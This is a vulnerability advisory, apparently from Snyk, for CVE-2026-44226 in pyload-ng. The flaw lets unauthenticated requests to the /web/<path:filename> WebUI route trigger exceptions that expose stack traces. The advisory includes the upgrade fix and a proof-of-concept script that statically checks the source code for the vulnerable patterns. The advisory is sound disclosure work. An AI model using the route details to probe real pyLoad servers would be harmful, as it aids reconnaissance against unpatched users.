Information Exposure Affecting pyload-ng package, versions [0,0.5.0b3.dev100)
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-PYLOADNG-16700035
- published15 May 2026
- disclosed6 May 2026
- creditUnknown
Introduced: 6 May 2026
CVE-2026-44226 (opens in a new tab)How to fix?
Upgrade pyload-ng to version 0.5.0b3.dev100 or higher.
Overview
pyload-ng is a The free and open-source Download Manager written in pure Python
Affected versions of this package are vulnerable to Information Exposure via the global exception handling process in the WebUI. An attacker can obtain sensitive internal implementation details, such as stack traces and source paths, by sending unauthenticated requests to the /web/<path:filename> endpoint that trigger unhandled exceptions.
PoC
#!/usr/bin/env python3
from __future__ import annotations
import re
import shutil
import tempfile
import traceback
from pathlib import Path
ROOT = Path(__file__).resolve().parent / "pyload" / "src" / "pyload"
def read_text(rel: str) -> str:
return (ROOT / rel).read_text(encoding="utf-8")
def route_has_no_login_required(app_blueprint: str) -> bool:
m = re.search(
r'@bp\\.route\\("/web/<path:filename>", endpoint="web"\\)\\s*'
r"def render\\(filename\\):(?P<body>.*?)(?:\\n\\n@bp\\.route|\\Z)",
app_blueprint,
re.DOTALL,
)
if not m:
return False
block_start = max(0, m.start() - 200)
block = app_blueprint[block_start:m.end()]
return "@login_required(" not in block
def main() -> None:
workdir = Path(tempfile.mkdtemp(prefix="pyload-traceback-infoleak-"))
try:
app_blueprint = read_text("webui/app/blueprints/app_blueprint.py")
handlers = read_text("webui/app/handlers.py")
base_template = read_text("webui/app/themes/modern/templates/base.html")
unauth_web_route = '/web/<path:filename>' in app_blueprint and route_has_no_login_required(app_blueprint)
user_controlled_template_name = "render_template(filename)" in app_blueprint
handler_uses_traceback = "traceback.format_exc()" in handlers
handler_appends_trace = "messages.extend(tb.split('\\n'))" in handlers
global_exception_handler = "(Exception, handle_exception_error)" in handlers
template_renders_messages = "{% for message in messages %}" in base_template and "{{message}}" in base_template
leaked_traceback_keyword = False
leaked_exception_type = False
try:
raise RuntimeError("forced-poc-error")
except Exception:
tb = traceback.format_exc()
messages = [f"Error 500: forced-poc-error"]
messages.extend(tb.split("\\n"))
joined = "\\n".join(messages)
leaked_traceback_keyword = "Traceback (most recent call last)" in joined
leaked_exception_type = "RuntimeError: forced-poc-error" in joined
repro_success = all(
[
unauth_web_route,
user_controlled_template_name,
handler_uses_traceback,
handler_appends_trace,
global_exception_handler,
template_renders_messages,
leaked_traceback_keyword,
leaked_exception_type,
]
)
print("unauth_web_route=", unauth_web_route)
print("user_controlled_template_name=", user_controlled_template_name)
print("handler_uses_traceback=", handler_uses_traceback)
print("handler_appends_trace=", handler_appends_trace)
print("global_exception_handler=", global_exception_handler)
print("template_renders_messages=", template_renders_messages)
print("leaked_traceback_keyword=", leaked_traceback_keyword)
print("leaked_exception_type=", leaked_exception_type)
print("traceback_infoleak_repro_success=", repro_success)
finally:
shutil.rmtree(workdir, ignore_errors=True)
print("cleanup_done=True")
if __name__ == "__main__":
main()